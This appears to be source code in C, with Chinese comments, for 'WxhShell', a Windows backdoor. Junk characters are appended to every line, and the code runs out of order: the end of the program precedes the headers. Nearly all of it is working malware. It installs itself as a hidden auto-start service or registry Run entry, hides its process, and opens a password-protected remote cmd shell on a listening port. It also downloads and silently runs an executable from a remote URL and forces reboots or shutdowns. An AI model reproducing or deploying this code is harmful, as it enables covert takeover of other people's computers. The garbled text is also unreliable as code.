    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | ZBv;BW  
    if(Boot(SHUTDOWN)) T)Z2=5V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9u<4Q_I`  
    else { =)5eui>{  
    closesocket(wsh); XE);oL2xP  
    ExitThread(0); >QRpRHtb  
    } 5_";EED  
    break; Omo1p(y  
    } i-!Z/,oL  
  // 获取shell sxM0c  
  case 's': { ]F5?>du@~  
    CmdShell(wsh); +T:F :X`  
    closesocket(wsh); +P,hT  
    ExitThread(0); #I[tsly}  
    break; >*rsRR  
  } p~1,[]k  
  // 退出 J1DX}h]  
  case 'x': { [G:wPp.y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y%!3/3T  
    CloseIt(wsh); g+BW~e)  
    break; RE/'E?G  
    } ` oN~  
  // 离开 w^tNYN,i  
  case 'q': { @F)51$Ld  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); un|+YqLf  
    closesocket(wsh); 9?B}CCE<LR  
    WSACleanup(); @f442@_4  
    exit(1); f h05*]r  
    break; IT& U%hw  
        } n1K"VjZk  
  } g(xuA^~J  
  } w J FEua  
QCkPua9  
  // 提示信息 p]=a:kd4J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [/ uqH  
} tWL3F?wd  
  } OI;0dS  
yQb^]|XG  
  return; M B|+F  
} nWpqAb  
9`4mvK/@  
// shell模块句柄 H@0i}!U64  
int CmdShell(SOCKET sock) 2\&uO   
{ K(RG:e~R0i  
STARTUPINFO si; JSX-iHhW  
ZeroMemory(&si,sizeof(si)); t4)~A5s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vk\a>};  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '6i"pJ0%  
PROCESS_INFORMATION ProcessInfo; i/;Ql, gm  
char cmdline[]="cmd"; ~PYMtg=i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5D0O.v  
  return 0; cn (-{dCXM  
} 2Jo'!|]  
M@@l>"g@  
// 自身启动模式 dr3#?%  
int StartFromService(void) 5 {cbcuG  
{ KP" lz  
typedef struct a$!|)+  
{ em`z=JGG  
  DWORD ExitStatus; )s^D}I(  
  DWORD PebBaseAddress; EjLj5Z/q  
  DWORD AffinityMask; zs!,PQF(  
  DWORD BasePriority; .G#wXsJj  
  ULONG UniqueProcessId; A&_H%]{<:  
  ULONG InheritedFromUniqueProcessId; AcV 2l  
}   PROCESS_BASIC_INFORMATION; 'Ba Ba=  
$/</J]2`;  
PROCNTQSIP NtQueryInformationProcess; FbB^$ ]*  
h-u63b1"?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  m~"<k d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cLl=?^DB  
K#q1/2  
  HANDLE             hProcess; _jt>%v4}4  
  PROCESS_BASIC_INFORMATION pbi; 5X>b(`  
V+My]9ki  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); urmx})=  
  if(NULL == hInst ) return 0; EJ7}h?a]U_  
^eke,,~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L+y}hb r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &P 'cf|KI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (VeX[*}I  
b 'p0T1K(  
  if (!NtQueryInformationProcess) return 0; 4PG]L`J{  
\fG?j@Qx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Htd-E^/  
  if(!hProcess) return 0; KhK:%1po  
Gkci_A*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sd|5oz )  
kj_ o I5<'  
  CloseHandle(hProcess);  =`fJ  
-_&"Q4FR;+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  5,  
if(hProcess==NULL) return 0; ?K]Cs&E4  
'J(rIH3U  
HMODULE hMod; $<R\|_6J  
char procName[255]; M6J~%qF^  
unsigned long cbNeeded; $g? ]9}p  
:D(4HXHK%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); le1  
h:{rjXK  
  CloseHandle(hProcess); <u>l#weG,  
i> Wsc?  
if(strstr(procName,"services")) return 1; // 以服务启动 B:5\+_a!  
feg  
  return 0; // 注册表启动 :t?Z  
} 5~GHAi  
~)Z{ Yj9)S  
// 主模块 ;tK%Q~To  
int StartWxhshell(LPSTR lpCmdLine) F*" "n  
{ wyF' B  
  SOCKET wsl; +u+|9@  
BOOL val=TRUE;  l* C>  
  int port=0; ' lt5|  
  struct sockaddr_in door; 2JY]$$K7  
WE;QEA/  
  if(wscfg.ws_autoins) Install(); MDkcG"O  
_XLGXJ[B  
port=atoi(lpCmdLine); J^t-pU  
UQZ<sp4v;  
if(port<=0) port=wscfg.ws_port; CJ+/j=i;~c  
iZsZSW \  
  WSADATA data; ^e*Tg&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )IN!CmpN  
&/XRiK1"0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GQ=Zp3[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OCR`1  
  door.sin_family = AF_INET; ~<[$.8*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); byALM  
  door.sin_port = htons(port); H?-Byi  
8:*   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (9gL  
closesocket(wsl); P`ZzrN  
return 1; }J=>nL'B  
} @ \{L%y%a0  
ybsQ[9_36  
  if(listen(wsl,2) == INVALID_SOCKET) { C(N' +VV_  
closesocket(wsl); / =]h@m-`  
return 1; SP}!v5.  
}  UZJ^ e$N  
  Wxhshell(wsl); SZVNu*G!H  
  WSACleanup(); `6bIxb{  
e:W]B)0/e  
return 0; `^3N|76Y  
'0\,waEu  
} Uk@du7P1k  
Vr/UY79  
// 以NT服务方式启动 (2 nSZRB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EI+RF{IKh  
{ Dn x` !  
DWORD   status = 0; ?w^MnK0U)  
  DWORD   specificError = 0xfffffff; c? Z M<Y"  
h2k"iO }  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6}z-X*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j!1 :+H_L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hA'i|;|ZYc  
  serviceStatus.dwWin32ExitCode     = 0; ^/'zU,  
  serviceStatus.dwServiceSpecificExitCode = 0; dnEIR5%+.  
  serviceStatus.dwCheckPoint       = 0; =@e3I)D#?i  
  serviceStatus.dwWaitHint       = 0; (!cG*FrN  
R1sWhB99  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); > nHaMj  
  if (hServiceStatusHandle==0) return; @k+&89@G  
+Tf4SJ  
status = GetLastError();  %XF>k)  
  if (status!=NO_ERROR) zWs ("L(#s  
{ G_ -8*.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xh6Yv%\@  
    serviceStatus.dwCheckPoint       = 0; `kE ;V!n?  
    serviceStatus.dwWaitHint       = 0; RA];hQI?  
    serviceStatus.dwWin32ExitCode     = status; o]R*6$  
    serviceStatus.dwServiceSpecificExitCode = specificError; HB|R1<t;HB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7~zd % o  
    return; |B{@noGX  
  } dG8_3T}i  
ww? AGd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j\hI, mc  
  serviceStatus.dwCheckPoint       = 0; .ei5+?V<i  
  serviceStatus.dwWaitHint       = 0; <cof   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $O'IbA  
} :P'M|U  
1hTE^\W  
// 处理NT服务事件,比如:启动、停止 1]&FB{l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WilKC|R]P  
{ Zk:Kux[7  
switch(fdwControl) 7.mYzl-F(  
{ 9Sey&x  
case SERVICE_CONTROL_STOP: gZf8/Tp\z  
  serviceStatus.dwWin32ExitCode = 0; s(.H"_ a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }xa~U,#5  
  serviceStatus.dwCheckPoint   = 0; l('@~-Zy  
  serviceStatus.dwWaitHint     = 0; mz>GbImVD~  
  { 'w$jVX/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FF5|qCV/z  
  } IGnP#@`5]  
  return; 5eLm  
case SERVICE_CONTROL_PAUSE: SSQB1c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V|3^H^\5P  
  break; ,=IGqw  
case SERVICE_CONTROL_CONTINUE: 7g7[a/Bts  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GQH15_  
  break; .&i_~?1[N  
case SERVICE_CONTROL_INTERROGATE: @sdHB ./  
  break; +0l-zd\  
}; Q\W?qB_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {*PbD;/f  
} WGwIc7  
1IPRI<1U  
// 标准应用程序主函数 '< .gKo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {j8M78}3  
{ [4 v1 N  
yM2}J s C  
// 获取操作系统版本 w}qLI4  
OsIsNt=GetOsVer(); cjp~I/U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,f@\Fs~n  
xNd p]u  
  // 从命令行安装 Oq9E$0JW  
  if(strpbrk(lpCmdLine,"iI")) Install(); w/f?KN  
,,c+R?D  
  // 下载执行文件 ?E}9TQ  
if(wscfg.ws_downexe) { -UoTBvObAm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]r\FC\n6e  
  WinExec(wscfg.ws_filenam,SW_HIDE); :Tcvj5  
} BUs={"Pa  
kBeYl+*pk  
if(!OsIsNt) { Y@y"bjK \  
// 如果时win9x,隐藏进程并且设置为注册表启动 koa-sy)#L  
HideProc(); yz<$?Gblz  
StartWxhshell(lpCmdLine); 5AbY 59  
} XiM d|D  
else Q?2Gw N  
  if(StartFromService()) 8-"D.b4  
  // 以服务方式启动 ]~:WGo=_  
  StartServiceCtrlDispatcher(DispatchTable); a@S{ A5j  
else Kw7uUJR  
  // 普通方式启动 [G",Yky  
  StartWxhshell(lpCmdLine); 3;JF 5e\?x  
.TM. v5B  
return 0; 2Krh&  
} SE$~Wbj?  
/.WIED}>  
az1#:Go  
K (,MtY*  
=========================================== _Ie?{5$ng`  
qi*Dd[OG  
#62*'.B4  
Cq -URih  
wq7h8Z}l  
V!Pe%.>  
" @u @,Edh  
u]*f^/6Q  
#include <stdio.h> l@0${&n  
#include <string.h> Vq599M:)V  
#include <windows.h> tIT/HG_o  
#include <winsock2.h> d=0{vsrB  
#include <winsvc.h> PjP6^"  
#include <urlmon.h> 9H/C(Vo  
P=aYwmC  
#pragma comment (lib, "Ws2_32.lib") TbD $lx3>  
#pragma comment (lib, "urlmon.lib") . {vMn0c  
A*~BkvPr  
#define MAX_USER   100 // 最大客户端连接数 j+PLtE   
#define BUF_SOCK   200 // sock buffer PA*1]i#2M=  
#define KEY_BUFF   255 // 输入 buffer 7_R[ =t  
?3%r:g4  
#define REBOOT     0   // 重启 y>X(GF^  
#define SHUTDOWN   1   // 关机 Px3I+VP  
PLJDRp 2o  
#define DEF_PORT   5000 // 监听端口 \S_A e;  
=q(?ALGc  
#define REG_LEN     16   // 注册表键长度 . H}R}^  
#define SVC_LEN     80   // NT服务名长度 1QPz|3f@\  
Ga_Pt8L6  
// 从dll定义API 8,IQ6Or|-2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]XASim:A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qe5;Pq !G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _^g4/G#13c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IF  cre  
xn>N/+,  
// wxhshell配置信息 M.\XG}RR  
struct WSCFG { Y!`  pF  
  int ws_port;         // 监听端口 jwg*\HO,s  
  char ws_passstr[REG_LEN]; // 口令 6!HYx  
  int ws_autoins;       // 安装标记, 1=yes 0=no -,+~W#n  
  char ws_regname[REG_LEN]; // 注册表键名 }5;/!P_A  
  char ws_svcname[REG_LEN]; // 服务名 &;bey4_J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,9M2'6=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :Q,~Nw>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @?jbah#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;Y,zlq2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e8E'X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XmaRg{22  
icQQLSU5  
}; ($Op*bR  
1#*^+A E  
// default Wxhshell configuration B@@tKn_CQ  
struct WSCFG wscfg={DEF_PORT, =te4p@  
    "xuhuanlingzhe", di(H-=9G62  
    1, r0@s3/  
    "Wxhshell", xSqr=^  
    "Wxhshell", *&tTiv{^  
            "WxhShell Service", a)*(**e$*i  
    "Wrsky Windows CmdShell Service", iaJLIrl  
    "Please Input Your Password: ", E5 #ff5  
  1, \<hHZS  
  "http://www.wrsky.com/wxhshell.exe", +4p=a [  
  "Wxhshell.exe" ,|Gjr T{vf  
    }; 4s9.")G  
If]rg+|U  
// 消息定义模块 /'zXb_R,$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "sIww  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wwet90_g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xLb=^Xjec  
char *msg_ws_ext="\n\rExit."; `t\\O  
char *msg_ws_end="\n\rQuit."; d+vAm3.Dg  
char *msg_ws_boot="\n\rReboot..."; xSm~V3b c  
char *msg_ws_poff="\n\rShutdown..."; #]Lodo9rS\  
char *msg_ws_down="\n\rSave to "; 7[mP@ {  
/bn$@Cy@  
char *msg_ws_err="\n\rErr!"; F2MC)&#  
char *msg_ws_ok="\n\rOK!"; 4\ |/S@.  
z7z9lDS  
char ExeFile[MAX_PATH]; ,@fx[5{  
int nUser = 0; } ,^p{J/  
HANDLE handles[MAX_USER]; `EfFyhG$  
int OsIsNt; u9(42jj[$U  
$=X>5B  
SERVICE_STATUS       serviceStatus; 0>46ZzxUZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `e`DSl D>  
,hr v  
// 函数声明 "Ec9.#U/  
int Install(void); c[V.j+Iy#^  
int Uninstall(void); ]rSg,Q >E  
int DownloadFile(char *sURL, SOCKET wsh); YNl".c  
int Boot(int flag); (.iwD&  
void HideProc(void); sIbPMu`&U  
int GetOsVer(void); O)DAYBv^  
int Wxhshell(SOCKET wsl); Wsp c ;]&  
void TalkWithClient(void *cs); ;" D~F  
int CmdShell(SOCKET sock); +6}CNC9Mp  
int StartFromService(void); >|`1aCg,  
int StartWxhshell(LPSTR lpCmdLine); :P ]D`b6p  
H}lz_#Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tm9sQ7Oj(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?`xm_udc  
zk!7TUZ">w  
// 数据结构和表定义 %"=GQ3u[  
SERVICE_TABLE_ENTRY DispatchTable[] = o~W,VhCP  
{ GY %$7   
{wscfg.ws_svcname, NTServiceMain}, @4Zkkjc4b  
{NULL, NULL} Pd& Npp3  
}; R^=v&c{@  
x4MTE?hT  
// 自我安装 W8Wjq DQ  
int Install(void) *>`6{0, 9  
{ {; th~[  
  char svExeFile[MAX_PATH]; z,hBtq:-$  
  HKEY key; ir>S\VT4  
  strcpy(svExeFile,ExeFile); \rATmjsKzS  
"'GhE+>Z  
// 如果是win9x系统,修改注册表设为自启动 G;J)[y  
if(!OsIsNt) { rC]k'p2x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QhLgFu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 19-V;F@;  
  RegCloseKey(key); m>F:dI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C@[U:\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n(|n=P:o  
  RegCloseKey(key); 4.uaWM)2  
  return 0; 3Agyp89}Q  
    } KK5_;<  
  } -"{g kjuv  
} eE=2~ ylU  
else { _~D#?cFY6  
#6~Bg)7AM  
// 如果是NT以上系统,安装为系统服务 =9`UcTSi6p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (2QfH$HEk  
if (schSCManager!=0) >qOj^WO~  
{ w(z=xO  
  SC_HANDLE schService = CreateService ]zCD1 *)  
  ( BX6kn/i  
  schSCManager, \t/0Yh-'  
  wscfg.ws_svcname, e*}GQ  
  wscfg.ws_svcdisp, W'f"kM  
  SERVICE_ALL_ACCESS, 4e;$+! dlV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %3|/t-US  
  SERVICE_AUTO_START, 4eG\>#5  
  SERVICE_ERROR_NORMAL, LXsZk|IhM  
  svExeFile, AaoS & q  
  NULL, NQ;$V:s)  
  NULL, )''V}Zn.X  
  NULL, EaHJl  
  NULL, uFb 9Ic]`  
  NULL g]c6_DMfb1  
  ); $o;c:Kh$$  
  if (schService!=0) D^V)$ME  
  { '-J<ib t  
  CloseServiceHandle(schService); r:g_mMvB  
  CloseServiceHandle(schSCManager); zUNUH^Il  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ h1eW9q  
  strcat(svExeFile,wscfg.ws_svcname); ZBFn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~(yW#'G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "vQ%` Q  
  RegCloseKey(key); rlawH}1b  
  return 0; LH=^3Gw  
    } (i1x<  
  } WHOX<YJs  
  CloseServiceHandle(schSCManager); Iz-mUD0;  
} Q<g>WNb  
} /Hq  
~tV7yY|zr  
return 1; o)n)Z~  
} I"x~ 7  
A>e-eD xi  
// 自我卸载 q8-hbWNm4  
int Uninstall(void) _dz ZS(7M6  
{ }p)Hw2  
  HKEY key; >SL mlK  
p >ua{}!L  
if(!OsIsNt) { -*~ @?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W[a"&,okqO  
  RegDeleteValue(key,wscfg.ws_regname); sf[|8}(  
  RegCloseKey(key); 42A'`io[w]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y'bz>@1(  
  RegDeleteValue(key,wscfg.ws_regname); MP<]-M'|<  
  RegCloseKey(key); fA?v\'Qq/  
  return 0; 9E8&~y  
  } $pAVTz  
} `?WN*__["  
} aaw[ia_EL  
else { 6&0G'PMf  
;H`@x Lv*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /DyeMCY-  
if (schSCManager!=0) V=th-o3[  
{ FE^/us7r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GG<0k\RN  
  if (schService!=0) >;Vfs{Z(q  
  { &7>]# *  
  if(DeleteService(schService)!=0) { *| W*Mu  
  CloseServiceHandle(schService); +F8K%.Q_  
  CloseServiceHandle(schSCManager); Skr0WQ  
  return 0; Yt,MXm\  
  } ^Go,HiB  
  CloseServiceHandle(schService); XqUQ{^;aI  
  } XksI.]tfj  
  CloseServiceHandle(schSCManager); v_pe=LC{-e  
} +F60_O `  
} .boB b<  
_G@Z n[v  
return 1; 8 l)K3;q_  
} JhwHsx/  
V_D wHq2  
// 从指定url下载文件 DTM(SN8R+n  
int DownloadFile(char *sURL, SOCKET wsh) Lk@+iHf  
{ frW\!r{LT  
  HRESULT hr; :A!EjIL`#  
char seps[]= "/"; VS ;y  
char *token; ~<O.Gu&"R  
char *file; m.`I}  
char myURL[MAX_PATH]; y6-P6T  
char myFILE[MAX_PATH]; K5T1dBl,0  
X=Ar"Dx}}s  
strcpy(myURL,sURL); UBM#~~sM  
  token=strtok(myURL,seps); u0sN[<  
  while(token!=NULL) $gz8! f?  
  { F?]J`F\I  
    file=token; vE8'B^h1  
  token=strtok(NULL,seps); &a e!lB  
  } F.i}&UQ%  
+Yq?:uBV  
GetCurrentDirectory(MAX_PATH,myFILE); W94u7a  
strcat(myFILE, "\\"); OPE+:TvW^  
strcat(myFILE, file); bp}97ZQ  
  send(wsh,myFILE,strlen(myFILE),0); `Npo|.?=  
send(wsh,"...",3,0); 9a`~ K L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P]y{3y:XxM  
  if(hr==S_OK) <YEKbnw$o  
return 0; O-)[!8r  
else AB,(%JT/2{  
return 1; s-'~t#h  
EA1&D^nT  
} ss}-YnG  
4g2`[<S  
// 系统电源模块 %saP>]o  
int Boot(int flag) }qoId3iY!7  
{ r(Z?Fs/  
  HANDLE hToken; Gf9sexn]l  
  TOKEN_PRIVILEGES tkp; z;e@m2.IM  
:@P6ibcX  
  if(OsIsNt) { !\d~9H%`B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^>!&]@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K0C"s 'q  
    tkp.PrivilegeCount = 1; k}E_1_S(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0F![<5X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qNHI$r'  
if(flag==REBOOT) { l<4P">M!.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N}NKQ]=  
  return 0; a?GXVQ  
} &Z!y>k%6  
else { yih|6sd$F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Og5e  
  return 0; ,xrA2  
} cT@| $A  
  } >eo[)Y  
  else { ||TZ[l  
if(flag==REBOOT) { ):Z #!O<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dZf1iFCP  
  return 0; p^q/u  
} pV (Mh[ }P  
else { YU+P+m2X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N#RC;  
  return 0; 1,$"'lKwt  
} X[$|I9  
} %g5#q64  
J!6w9,T_  
return 1; >b9J!'G,(  
} *q,nALs  
Ja 5od  
// win9x进程隐藏模块 g@s`PBF7`  
void HideProc(void) ,YBO}l  
{ )p;t '*]  
8EdaqF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [bX ^_ Y  
  if ( hKernel != NULL ) dyf>T}Iy  
  { V6_":L"!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >?ar  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  q"T?  
    FreeLibrary(hKernel); )F&.0 '  
  } |@1(^GX  
0g=vMLi  
return; 3WwCo.q;m  
} us1$  
<"`f!k#[  
// 获取操作系统版本 Ci 4c8  
int GetOsVer(void) J@<f*  
{ %(6+{'j~#  
  OSVERSIONINFO winfo; W)]&G}U<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >7cj. %  
  GetVersionEx(&winfo); qLxcr/fK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VB4V[jraCF  
  return 1; }S')!3[G  
  else *>zOWocxD  
  return 0; |&-*&)iD|w  
} D$H&^,?N  
''q;yKpaz  
// 客户端句柄模块 >Je$WE3  
int Wxhshell(SOCKET wsl) )G, S7A  
{ kCz2uG)l  
  SOCKET wsh; ;=^J_2ls  
  struct sockaddr_in client; 83_mR*tGNp  
  DWORD myID; \8\T TkVSq  
3*j1v:x`  
  while(nUser<MAX_USER) CH!\uK22  
{ t.RDS2N|  
  int nSize=sizeof(client); c2 :,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o%z^@Cq  
  if(wsh==INVALID_SOCKET) return 1; NRP) 'E  
 lFcHE c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dxZn| Y  
if(handles[nUser]==0) tP2.D:( R  
  closesocket(wsh); l:u1P  
else IDqUiN  
  nUser++; S5F5Tr;TN  
  } {2 T:4i5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F=*t]X[z}  
#hs&)6S f  
  return 0; <jYyA]Zy5  
} <6hs<qXqi  
nTs\zikP  
// 关闭 socket g[@0H=  
void CloseIt(SOCKET wsh) Ge?DD,a c  
{ )g $T%  
closesocket(wsh); XH*(zTd(?  
nUser--; 1>OU~A"  
ExitThread(0); U61 LMH  
} +Lc+"0*gV*  
a Iyzt  
// 客户端请求句柄 -AVT+RE9z  
void TalkWithClient(void *cs) )>Z@')Uk:  
{ B>d49(jy  
yHs9J1S f  
  SOCKET wsh=(SOCKET)cs; b%@9j;  
  char pwd[SVC_LEN]; N.E{6_{S  
  char cmd[KEY_BUFF]; Q;=4']hYU  
char chr[1]; [9~EH8  
int i,j; UL&>]aQ  
rP"Y.;s  
  while (nUser < MAX_USER) { y/_=  
m432,8 K3r  
if(wscfg.ws_passstr) { 1g,gilc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mAIl)mq|g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2Z<S^9O9  
  //ZeroMemory(pwd,KEY_BUFF); S7cD}yx*[  
      i=0; KMfRMc&  
  while(i<SVC_LEN) { o@j!JI&  
=Ov,7<8o  
  // 设置超时 [ 4IqHe  
  fd_set FdRead; ~=HPqe8  
  struct timeval TimeOut; {(F}SF{  
  FD_ZERO(&FdRead); Vi'7m3&  
  FD_SET(wsh,&FdRead); uV}GUE%W  
  TimeOut.tv_sec=8; eej#14 &  
  TimeOut.tv_usec=0; asp\4-?$o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e(1{W P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wkPomTO  
+@8, uL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I3x+pa^]2  
  pwd=chr[0]; HJ"sK5Q  
  if(chr[0]==0xd || chr[0]==0xa) { D(TfW   
  pwd=0; AOL=;z9c#  
  break; PV=sqLM~  
  } &n83>Q  
  i++; RCK*?\m5  
    } Y}yh6r;i  
w+!V,lU"^  
  // 如果是非法用户,关闭 socket M 0G`P1o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wxvVtV{u>|  
} \fUVWXv  
B"*PBJuOA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ga;t`5+d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F60m]NUM)c  
KqaEHL  
while(1) { AtAu$"ue  
6*>vie  
  ZeroMemory(cmd,KEY_BUFF); q %tq9%  
7Ot&]M  
      // 自动支持客户端 telnet标准   ?G&J_L=@Y  
  j=0; [,~;n@jz  
  while(j<KEY_BUFF) { J]48th0,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t0:~BYXu  
  cmd[j]=chr[0]; L/bvM?B^  
  if(chr[0]==0xa || chr[0]==0xd) { Z%3)w.  
  cmd[j]=0; L!ms{0rJ  
  break; * "?,.  
  } OMYbCy^  
  j++; NW21{}=4  
    } )B~{G\jS  
f|s,%AU"i  
  // 下载文件 7(LB}  
  if(strstr(cmd,"http://")) { OH 88d:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y=SpIbn{  
  if(DownloadFile(cmd,wsh)) Y~lOkH[z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pg<c vok  
  else P{2ED1T\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $3970ni,?O  
  } nvodP"iV  
  else { =1O;,8`  
;1TQr3w  
    switch(cmd[0]) { O4a~(*f  
  a][Tb0Ox  
